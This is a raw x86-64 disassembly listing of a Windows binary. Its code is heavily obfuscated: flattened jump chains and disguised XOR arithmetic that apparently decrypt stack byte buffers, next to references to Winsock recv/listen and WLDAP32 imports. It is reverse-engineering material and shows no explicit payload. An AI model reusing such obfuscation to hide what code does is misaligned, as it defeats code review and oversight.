movabs rcx, 0x71bf81521cfad500
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x1400911e8
movabs rcx, 0x1803521122bae4c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x140090692
movabs rcx, 0xbe4722d0287af480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140090692
movabs rdx, 0x648af38f2e3b0440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400910c5
movabs rcx, 0xacec44e33fb1400
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x1400910f4
movabs rcx, 0xb112950d39bb23c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090692
movabs rcx, 0x575665cc3f7b3380
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x140091294
movabs rdx, 0xfd9a368b453b4340
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400912c6
movabs rcx, 0xa3de074a4afb5300
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
movabs rdx, 0xc3879127d95b7a60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x768], r11b
inc rdi
jmp 0x140090692
movabs rdx, 0x69cb61e6df1b8a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x42
jb 0x140090b39
movabs rcx, 0xe07d69f1dabcdcc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x80]
jmp 0x1400911e8
movabs rcx, 0x100f32a5e4db99e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
cmp r8, 2
jae 0x1400910a5
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140090fbf
movabs rdx, 0x5f239168143d7a40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140090b6c
movabs rcx, 0xb6530364ea9ba9a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
lea rax, [r8 + r9]
cmp rax, 6
je 0x14009110c
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140090ec7
movabs rcx, 0xb0eba13dd09e1fa0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140090bb5
movabs rcx, 0x154fa0fd95bc1fc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
movabs rcx, 0xbb9371bc9b7c2f80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x1400912c6
movabs rdx, 0x61d7427ba13c3f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14009117f
movabs rcx, 0x81b133aa6fc4f00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090692
movabs rcx, 0xae5ee3f9acbc5ec0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400910f4
movabs rcx, 0x54a2b4b8b27c6e80
jmp 0x140090e46
movabs rdx, 0xfae68577b83c7e40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400911a7
movabs rcx, 0xa12a5636bdfc8e00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x140090692
movabs rdx, 0x476e26f5c3bc9dc0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
jmp 0x1400911e5
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140090db4
movabs rdx, 0x2cde17a07d1ff820
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140090c12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090dfa
movabs rdx, 0x5c6fe054873eb540
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090e2f
movabs rdx, 0xc3609d58703e7640
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400910f4
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140090e5f
movabs rcx, 0x1d1ccc996a7e6680
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x1400910cb
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090e95
movabs rcx, 0x76d8fbda64be56c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140090692
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090c12
movabs rdx, 0x2a515a5c593e3740
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400911e5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090ef7
movabs rcx, 0xaa7d07ecade0fe0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400911e8
inc rax
cmp r8, rax
jne 0x140090f12
movabs rdx, 0xbe202f00bf5df060
jmp 0x1400911a2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090f57
movabs rdx, 0xcb54bcc3ae1dc120
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090692
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140090f73
movabs rdx, 0x2510ec04a85db160
jmp 0x14009117a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140090fa3
movabs rcx, 0x7ecd1b45a29da1a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x1400912c6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090bb5
movabs rcx, 0xd8894a869cdd91e0
jmp 0x140091146
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091000
movabs rcx, 0xb8dfc0a90e7d6a80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
inc rax
cmp r8, rax
jne 0x140091044
movabs rdx, 0xc6144e6bfd3d3b40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090692
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091074
movabs rcx, 0x1fd07dacf77d2b80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x1400910f4
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140090b6c
movabs rdx, 0x86c13ab0e07cec80
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x1400911e5
movabs rdx, 0x3a399932d4fccd00
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x768]
sub r11b, al
add r11b, dl
add r11b, bl
movabs rcx, 0x6717b0d3521cc520
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r11b
mov byte [rbp + rdi + 0x768], dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140090692
movabs rdx, 0x93f5c873cf3cbd40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x768]
add r11b, dl
add r11b, bl
jmp 0x140091294
movabs rcx, 0xd5d599730fdecce0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
movabs rdx, 0x225d3af11b5eec60
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140091294
movabs rdx, 0xbb6c7ded325f2b60
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140090692
movabs rdx, 0x7f41f6b3ddf4ae0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
add r11b, dl
movabs rcx, 0xd5b819257dcd4e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x20
add bl, cl
mov byte [rbp + rdi + 0x768], bl
inc r9
dec rdi
inc rdi
jmp 0x140090692
movabs rdx, 0xfabf91a84f1f7a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140090692
movabs rcx, 0xa103626754df89e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x140090692
mov rbx, r10
movabs rcx, 0x3a12a5636bdfc8e0
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movabs rdx, 0xc0d3e0144c5cb560
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x768], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xedb1f7b4c97cad80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x80
add cl, bl
mov byte [rbp + rdi + 0x768], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
movabs rdx, 0x869a46e1775fe860
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x768]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140090692
movabs rcx, 0x4f624661019be8a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x14009068e
movabs rdx, 0xf5a61720075bf860
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140090675
lea rcx, [rbp + 0x17abce8]
jmp 0x1400913ae
lea rcx, [rbp + 0x15ab508]
jmp 0x1400913ae
lea rcx, [rbp + 0x768]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140227f20]
lea rcx, [rbp + 0x118]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rdi, rax
mov byte [rbp + 0x790], 0xda
mov byte [rbp + 0x791], Ordinal_211
mov byte [rbp + 0x792], 0xcb
mov byte [rbp + 0x793], 0xf0
mov byte [rbp + 0x794], 2
mov byte [rbp + 0x795], Ordinal_45
mov byte [rbp + 0x796], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x797], Ordinal_200
mov byte [rbp + 0x798], Ordinal_200
mov byte [rbp + 0x799], 0xf8
mov byte [rbp + 0x79a], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x79b], xmm0
mov qword [rbp + 0x7ab], rax
movabs rsi, 0xb279dbd45b5264a5
movabs r12, 0x8e9816a896a26651
movabs r14, 0x6c944d89ca2d8dfb
movabs r15, 0x4f6420389ce8c159
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009224f
movzx r11d, byte [rbp + rbx + 0x790]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140092243
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400914e3
lea rcx, [rbx + r12]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x37
jmp 0x140091503
je 0x1400921bb
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092124
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400920c3
cmp r9, rbx
ja 0x140092237
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140091534
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x140091570
lea rax, [r9 + 1]
cmp r8, rax
je 0x140092072
inc rax
cmp r8, rax
je 0x140092048
lea rax, [r9 + 3]
cmp r8, rax
je 0x140092014
lea rax, [r9 + 5]
cmp r8, rax
je 0x140091ff0
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140091be6
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x140091bbd
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140091b90
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140091b66
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140091b3d
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140091b19
lea rax, [r9 + 1]
cmp r8, rax
je 0x140091ae0
lea rax, [r9 + 9]
cmp r8, rax
je 0x140091abc
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140091a93
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140091a5e
lea rax, [r9 + 4]
cmp r8, rax
je 0x140091580
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140092213
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400921ef
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009176b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140091750
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140091735
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140091a00
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009199e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009194f
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140091920
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140091580
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x41]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400918e6
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400918c2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140091899
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140091860
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009183c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140091813
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400917e8
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400917b6
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009178e
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140091580
lea r8, [r9 + 2]
lea r9, [r8 + 0x10]
jmp 0x140091580
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
jmp 0x140091570
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6f
jmp 0x140091503
movabs rcx, 0x3233f2e76fa3f4b7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
jmp 0x1400914a5
movabs rdx, 0x93cedea2da932528
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x140092091
movabs rdx, 0x769eb151ad4e5886
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140091492
movabs rcx, 0x596e840080098be4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
dec rbx
inc rbx
jmp 0x140091492
movabs rdx, 0x3c3e56af52c4bf42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400920e2
movabs rcx, 0x1f0e295e257ff2a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14009210c
movabs rdx, 0x1ddfc0cf83b25fe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091492
movabs rdx, 0xe4adcebbcaf6595c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140092145
movabs rcx, 0xc77da16a9db18cba
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x140092175
movabs rdx, 0xaa4d7419706cc018
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
movabs rcx, 0xe15502ce7f40c083
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
mov byte [rbp + rbx + 0x790], r10b
inc rbx
jmp 0x140091492
movabs rcx, 0xc424d57d51fbf3e1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
cmp r9, 4
jb 0x14009193f
movabs rcx, 0xd099072c04b4c446
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140092091
movabs rcx, 0xa6f4a82c24b7273f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x47
cmp r8, 0x200
jae 0x140091f8f
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140091dfd
movabs rdx, 0xacb742004004c5f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009196e
movabs rcx, 0x89c47adaf7725a9d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
lea rax, [r9 + r8]
cmp rax, 5
je 0x140091fbf
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140091cf2
movabs rcx, 0xfa3d662be4b2614d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1b
jmp 0x1400919bd
movabs rcx, 0x2edb26fa23ee5bde
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
movabs rdx, 0x11aaf9a8f6a98f3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140092175
movabs rcx, 0xf47acc57c964c29a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x140092145
movabs rdx, 0xd74a9f069c1ff5f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091492
movabs rcx, 0xba1a71b56edb2956
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14009210c
movabs rdx, 0x9cea446441965cb4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400920e2
movabs rcx, 0x7fba171314519012
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
dec rbx
inc rbx
jmp 0x140091492
movabs rcx, 0x6289e9c1e70cc370
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x140091492
movabs rdx, 0x4559bc70b9c7f6ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140092091
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140091c0e
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x140091a1f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091c50
movabs rcx, 0x64f3b7a8b6a4c94a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
inc rax
cmp r8, rax
jne 0x140091c85
movabs rdx, 0xd9b46ced6bb7fbd2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009210c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091cb6
movabs rcx, 0xf6e49a3e98fcc874
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x1400920e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140091a1f
movabs rdx, 0x1414c78fc6419516
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140091492
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091d23
movabs rcx, 0x176d937d11f72def
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
jmp 0x140092091
inc rax
cmp r8, rax
jne 0x140091d59
movabs rcx, 0x51cdee1f6c80c733
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
dec rbx
inc rbx
jmp 0x140091492
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140091d8a
movabs rcx, 0xc68ea3642193f9bb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
jmp 0x140092145
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140091dbb
movabs rcx, 0xe3bed0b54ed8c65d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
jmp 0x140092175
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400919bd
movabs rcx, 0xeefe067c1d92ff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 7
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091e3f
movabs rcx, 0xc9e76f516d499294
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091492
inc rax
cmp r8, rax
jne 0x140091e74
movabs rdx, 0x447c9f3c7d32bd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140092145
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140091eb6
movabs rcx, 0x2177f744f517f87a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x56
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091492
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091ee7
movabs rcx, 0x5bd851e74fa191be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x1400920e2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140091f23
movabs rdx, 0x79087f387ce65e60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140091492
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140091f5e
movabs rcx, 0x9638ac89aa2b2b02
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
inc r9
dec rbx
inc rbx
jmp 0x140091492
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009196e
movabs rcx, 0xb368d9dad76ff7a4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x140092091
movabs rdx, 0xedc9347d31f990e8
add rdx, rbx
movzx eax, dl
and al, r11b
